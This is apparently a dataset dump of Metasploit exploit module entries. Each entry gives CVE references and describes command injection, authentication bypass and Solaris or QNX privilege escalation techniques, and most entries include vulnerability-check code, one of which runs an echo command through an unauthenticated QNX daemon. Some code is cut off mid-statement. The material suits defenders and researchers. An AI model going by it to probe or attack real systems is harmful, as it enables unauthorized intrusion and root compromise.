deardaniel/secdata-raw huggingface dataset:
Metasploit Module: OpenTSDB 2.4.0 unauthenticated command injection
Type: exploit
Path: modules/exploits/linux/http/opentsdb_yrange_cmd_injection.rb
Platform: unix
Disclosure date: 2020-11-18
References: CVE-2020-35476, URL-https://github.com/OpenTSDB/opentsdb/issues/2051
Targets: Automatic (Unix In-Memory), Automatic (Linux Dropper)

Description:
This module exploits an unauthenticated command injection
          vulnerability in the yrange parameter in OpenTSDB through
          2.4.0 (CVE-2020-35476) in order to achieve unauthenticated
          remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.0 or lower, the module
          performs additional checks to obtain the configured metrics
          and aggregators. It then randomly selects one metric and one
          aggregator and uses those to instruct the target server to
          plot a graph. As part of this request, the yrange parameter is
          set to the payload, which will then be executed by the target
          if the latter is vulnerable.

          This module has been successfully tested against OpenTSDB
          version 2.3.0.

Check method (fingerprinting):
# sanity check to see if the target is likely OpenTSDB
    res1 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    unless res1
      return CheckCode::Unknown('Connection failed.')
    end

    unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
      return CheckCode::Safe('Target is not an OpenTSDB application.')
    end

    # get the version via the api
    res2 = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'version')
    })

    unless res2
      return CheckCode::Unknown('Connection failed.')
    end

    unless res2.code == 200 && res2.body.include?('version')
      return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
    end

    begin
      parsed_res_body = JSON.parse(res2.body)
    rescue JSON::ParserError
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
    end

    version = parsed_res_body['version']

    begin
      if Rex::Version.new(version) <= Rex::Version.new('2.4.0')
        return CheckCode::Appears("The target is OpenTSDB version #{version}")
      else
Metasploit Module: Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)
Type: exploit
Path: modules/exploits/linux/http/motioneye_auth_rce_cve_2025_60787.rb
Platform: unix
Disclosure date: 2025-09-09
References: CVE-2025-60787, URL-https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
Targets: Unix Command

Description:
This module exploits a template injection vulnerability in the MotionEye Frontend.

          MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.
          Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.

          Successful exploitation will result in the command executing as the user running
          the web server, potentially exposing sensitive data or disrupting survey operations.

          An attacker can execute arbitrary system commands in the context of the user running the web server.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    motion_version_span = res.get_html_document.at('tr.settings-item:has(td.settings-item-label span:contains("motionEye Version")) td.settings-item-value span.settings-item-label')
    motion_version = motion_version_span&.text&.strip

    if motion_version_span.nil? || motion_version.empty?
      fail_with(Failure::UnexpectedReply, "#{peer} Failed to find motionEye version on the page")
    end

    clear_version = motion_version.gsub(/[a-zA-Z]/, '')
    if clear_version < '0.43.15'
      return CheckCode::Appears("Detected version #{motion_version}, which is vulnerable")
    end

    return CheckCode::Detected("At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes")
  end
Metasploit Module: IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE
Type: exploit
Path: modules/exploits/linux/http/ipfire_pakfire_exec.rb
Platform: python
Disclosure date: 2021-05-17
References: EDB-49869, CVE-2021-33393, URL-https://github.com/MucahitSaratar/ipfire-2-25-auth-rce, URL-https://www.youtube.com/watch?v=5FUXV7dfNjg
Targets: Python Dropper

Description:
This module exploits an authenticated command injection vulnerability in the
          /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156
          and prior to execute arbitrary code as the root user.

Check method (fingerprinting):
cevap = send_packet('GET', '', 10)
    if cevap.nil? || cevap.body.empty?
      return CheckCode::Unknown('No response from the target!')
    end

    unless cevap.body.scan(/401 Unauthorized/).empty?
      return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')
    end

    version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
    core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
    unless version
      return CheckCode::Safe('Target is not IPFire')
    end
    if core.to_i >= 157
      return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
    end

    CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")
  end
Metasploit Module: Fortinet FortiWeb unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/fortinet_fortiweb_rce.rb
Platform: unix
Disclosure date: 2025-11-14
References: CVE-2025-64446, CVE-2025-58034, URL-https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis, URL-https://x.com/defusedcyber/status/[PII_REDACTED]73517373, URL-https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass, URL-https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/, URL-https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/, URL-https://www.fortiguard.com/psirt/FG-IR-25-910, URL-https://www.fortiguard.com/psirt/FG-IR-25-513

Description:
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
          FortiWeb management interface to create a new local administrator user account. From there a command
          injection vulnerability is leveraged to achieve RCE with root privileges.

          The auth bypass CVE-2025-64446 affects the following versions:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
          * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
          slightly different when compared to the patch versions for CVE-2025-64446:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
          * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          Note: Unsupported versions 6.* are also affected.

          This exploit module has been confirmed to work against 8.0.1, 7.4.8, 6.4.3, and 6.3.9.

Check method (fingerprinting):
res = post_auth_bypass_request({ data: {} })

    return CheckCode::Unknown('Connection failed') unless res

    return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

    j = JSON.parse(res.body)

    # Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9
    return Exploit::CheckCode::Appears('The target appears to be vulnerable') if j.dig('results', 'errcode') == -56

    CheckCode::Unknown('Unexpected JSON results')
  rescue JSON::ParserError
    return CheckCode::Unknown('Failed to parse JSON body')
  end
Metasploit Module: UnRAR Path Traversal (CVE-2022-30333)
Type: exploit
Path: modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb
Platform: linux
Disclosure date: 2022-06-28
References: CVE-2022-30333, URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/, URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946, URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis

Description:
This module creates a RAR file that exploits CVE-2022-30333, which is a
          path-traversal vulnerability in unRAR that can extract an arbitrary file
          to an arbitrary location on a Linux system. UnRAR fixed this
          vulnerability in version 6.12 (open source version 6.1.7).

          The core issue is that when a symbolic link is unRAR'ed, Windows
          symbolic links are not properly validated on Linux systems and can
          therefore write a symbolic link that points anywhere on the filesystem.
          If a second file in the archive has the same name, it will be written
          to the symbolic link path.
Metasploit Module: QNX qconn Command Execution
Type: exploit
Path: modules/exploits/qnx/qconn/qconn_exec.rb
Platform: unix
Disclosure date: 2012-09-04
References: EDB-21520, URL-https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos, URL-http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html, URL-http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html

Description:
This module uses the qconn daemon on QNX systems to gain a shell.

          The QNX qconn daemon does not require authentication and allows
          remote users to execute arbitrary operating system commands.

          This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
          and 6.5.0 SP1 (x86).

Check method (fingerprinting):
vprint_status('Sending check...')

    connect
    res = sock.get_once(-1, 10)

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Safe('QCONN service not detected') unless res.include?('QCONN')

    sock.put("service launcher\n")
    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Launcher service not available') unless res.to_s.include?('OK')

    fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
    sock.put("start/flags run /bin/echo /bin/echo #{fingerprint}\n")
    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Command execution not available') unless res.to_s.include?('OK')

    Rex.sleep(1)

    res = sock.get_once(-1, 10)

    return CheckCode::Safe('Command execution did not return expected output') unless res.to_s.include?(fingerprint)

    CheckCode::Vulnerable('Remote command execution confirmed via QCONN')
  ensure
    disconnect
  end
Metasploit Module: ifwatchd Privilege Escalation
Type: exploit
Path: modules/exploits/qnx/local/ifwatchd_priv_esc.rb
Platform: unix
Disclosure date: 2014-03-10
References: CVE-2014-2533, BID-66449, EDB-32153, URL-http://seclists.org/bugtraq/2014/Mar/66

Description:
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
          systems by exploiting the ifwatchd suid executable.

          ifwatchd allows users to specify scripts to execute using the '-A'
          command line argument; however, it does not drop privileges when
          executing user-supplied scripts, resulting in execution of arbitrary
          commands as root.

          This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
          and 6.5.0 SP1 (x86).

Check method (fingerprinting):
return CheckCode::Safe("#{ifwatchd_path} is not setuid") unless setuid?(ifwatchd_path)

    CheckCode::Detected("#{ifwatchd_path} is setuid")
  end
Metasploit Module: Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow
Type: exploit
Path: modules/exploits/netware/smb/lsass_cifs.rb
Platform: netware
Disclosure date: 2007-01-21
References: CVE-2005-2852, OSVDB-12790

Description:
This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
          Since the driver runs in the kernel space, a failed exploit attempt can
          cause the OS to reboot.
Metasploit Module: NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
Type: exploit
Path: modules/exploits/netware/sunrpc/pkernel_callit.rb
Platform: netware
Disclosure date: 2009-09-30
References: BID-36564, OSVDB-58447, ZDI-09-067

Description:
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
          PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
          The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
          cause the operating system to reboot.
Metasploit Module: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
Type: exploit
Path: modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb
Platform: solaris
Disclosure date: 2006-10-11
References: BID-20471, CVE-2006-4842, EDB-2543, EDB-2569, EDB-2641, URL-https://securitytracker.com/id/1017050, URL-https://securitytracker.com/id/1017051, URL-https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR, URL-http://web.archive.org/web/[PII_REDACTED]4339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418, URL-http://web.archive.org/web/[PII_REDACTED]4829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1

Description:
This module exploits an arbitrary file write vulnerability in the
          Netscape Portable Runtime library (libnspr) on unpatched Solaris systems
          prior to Solaris 10u3 which allows users to gain root privileges.

          libnspr versions prior to 4.6.3 allow users to specify a log file with
          the `NSPR_LOG_FILE` environment variable. The log file is created with
          the privileges of the running process, resulting in privilege escalation
          when used in combination with a SUID executable.

          This module writes a shared object to the trusted library directory
          `/usr/lib/secure` and runs the specified SUID binary with the shared
          object loaded using the `LD_LIBRARY_PATH` environment variable.

          This module has been tested successfully with libnspr version 4.5.1
          on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).

Check method (fingerprinting):
unless setuid? suid_bin_path
      vprint_error "#{suid_bin_path} is not setuid"
      return CheckCode::Safe("#{suid_bin_path} is not setuid")
    end
    vprint_good "#{suid_bin_path} is setuid"

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe('gcc is not installed')
    end
    vprint_good 'gcc is installed'

    # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable
    # Earlier versions may also be vulnerable
    libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr'
    libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d.]+),/).flatten.first
    if libnspr_pkg_version.to_s.eql? ''
      vprint_error 'Could not determine libnspr version'
      return CheckCode::Unknown('Could not determine libnspr version')
    end

    if Rex::Version.new(libnspr_pkg_version) >= Rex::Version.new('4.6.3')
      vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"
      return CheckCode::Safe("Libnspr version #{libnspr_pkg_version} is not vulnerable")
    end
    vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable"

    # Solaris 10 versions prior to the 2006 patches are known to be vulnerable.
    # Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default,
    # however third-party software may also introduce a vulnerable version of the library.
    version = kernel_release
    if version.to_s.eql? ''
      vprint_error 'Could not determine Solaris version'
      return CheckCod
Metasploit Module: Solaris xscreensaver log Privilege Escalation
Type: exploit
Path: modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
Platform: solaris
Disclosure date: 2019-10-16
References: CVE-2019-3010, EDB-47509, URL-https://seclists.org/fulldisclosure/2019/Oct/39, URL-https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver, URL-https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/, URL-https://www.oracle.com/technetwork/security-advisory/cpuoct2[PII_REDACTED].html

Description:
This module exploits a vulnerability in `xscreensaver` versions
          since 5.06 on unpatched Solaris 11 systems which allows users
          to gain root privileges.

          `xscreensaver` allows users to create a user-owned file at any
          location on the filesystem using the `-log` command line argument
          introduced in version 5.06.

          This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
          overwrites the log file with a shared object, and executes the shared
          object using the `LD_PRELOAD` environment variable.

          This module has been tested successfully on:

          xscreensaver version 5.15 on Solaris 11.1 (x86); and
          xscreensaver version 5.15 on Solaris 11.3 (x86).

Check method (fingerprinting):
unless setuid? xscreensaver_path
      vprint_error "#{xscreensaver_path} is not setuid"
      return CheckCode::Safe("#{xscreensaver_path} is not setuid")
    end
    vprint_good "#{xscreensaver_path} is setuid"

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe('gcc is not installed')
    end
    vprint_good 'gcc is installed'

    xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d.]+)/).flatten.first
    if xscreensaver_version.to_s.eql? ''
      vprint_error 'Could not determine xscreensaver version'
      return CheckCode::Detected('Could not determine xscreensaver version')
    end

    # Bug introduced in version 5.06. Patched in version <~ 5.42.
    unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
      vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
      return CheckCode::Safe("Xscreensaver version #{xscreensaver_version} is not vulnerable")
    end
    vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"

    CheckCode::Appears("Xscreensaver version #{xscreensaver_version} appears to be vulnerable")
  end
Metasploit Module: Solaris 'EXTREMEPARR' dtappgather Privilege Escalation
Type: exploit
Path: modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb
Platform: solaris
Disclosure date: 2017-04-24
References: BID-97774, CVE-2017-3622, EDB-41871, URL-https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh, URL-http://www.oracle.com/technetwork/security-advisory/cpuapr2[PII_REDACTED].html

Description:
This module exploits a directory traversal vulnerability in the
          `dtappgather` executable included with Common Desktop Environment (CDE)
          on unpatched Solaris systems prior to Solaris 10u11 which allows users
          to gain root privileges.

          dtappgather allows users to create a user-owned directory at any
          location on the filesystem using the `DTUSERSESSION` environment
          variable.

          This module creates a directory in `/usr/lib/locale`, writes a shared
          object to the directory, and runs the specified SUID binary with the
          shared object loaded using the `LC_TIME` environment variable.

          This module has been tested successfully on:

          Solaris 9u7 (09/04) (x86);
          Solaris 10u1 (01/06) (x86);
          Solaris 10u2 (06/06) (x86);
          Solaris 10u4 (08/07) (x86);
          Solaris 10u8 (10/09) (x86);
          Solaris 10u9 (09/10) (x86).

Check method (fingerprinting):
[dtappgather_path, suid_bin_path].each do |path|
      unless setuid? path
        vprint_error "#{path} is not setuid"
        return CheckCode::Safe("#{path} is not setuid")
      end
      vprint_good "#{path} is setuid"
    end

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe('gcc is not installed')
    end
    vprint_good 'gcc is installed'

    version = kernel_release
    if version.to_s.eql? ''
      vprint_error 'Could not determine Solaris version'
      return CheckCode::Detected('Could not determine Solaris version')
    end

    unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')
      vprint_error "Solaris version #{version} is not vulnerable"
      return CheckCode::Safe("Solaris version #{version} is not vulnerable")
    end
    vprint_good "Solaris version #{version} appears to be vulnerable"

    CheckCode::Appears("Solaris version #{version} appears to be vulnerable")
  end
Metasploit Module: Solaris RSH Stack Clash Privilege Escalation
Type: exploit
Path: modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb
Platform: %w[unix solaris
Disclosure date: 2017-06-19
References: BID-99151, BID-99153, CVE-2[PII_REDACTED], CVE-2017-3629, CVE-2017-3630, CVE-2017-3631, EDB-42270, URL-https://www.oracle.com/security-alerts/alert-cve-2017-3629.html, URL-https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash, URL-https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt

Description:
This module exploits a vulnerability in RSH on unpatched Solaris
          systems which allows users to gain root privileges.

          The stack guard page on unpatched Solaris systems is of
          insufficient size to prevent collisions between the stack
          and heap memory, aka Stack Clash.

          This module uploads and executes Qualys' Solaris_rsh.c exploit,
          which exploits a vulnerability in RSH to bypass the stack guard
          page to write to the stack and create a SUID root shell.

          This module has offsets for Solaris versions 11.1 (x86) and
          Solaris 11.3 (x86).

          Exploitation will usually complete within a few minutes using
          the default number of worker threads (10). Occasionally,
          exploitation will fail. If the target system is vulnerable,
          usually re-running the exploit will be successful.

          This module has been tested successfully on Solaris 11.1 (x86)
          and Solaris 11.3 (x86).

Check method (fingerprinting):
unless setuid?(rsh_path)
      return CheckCode::Safe("#{rsh_path} is not setuid")
    end

    vprint_good("#{rsh_path} is setuid")

    unless has_gcc?
      return CheckCode::Safe('gcc is not installed')
    end

    vprint_good('gcc is installed')

    version = kernel_version
    if version.to_s.eql?('')
      return CheckCode::Detected('Could not determine Solaris version')
    end

    unless ['11.1', '11.3'].include? version
      return CheckCode::Safe("Solaris version #{version} is not vulnerable")
    end

    CheckCode::Detected("Solaris version #{version} appears to be vulnerable")
  end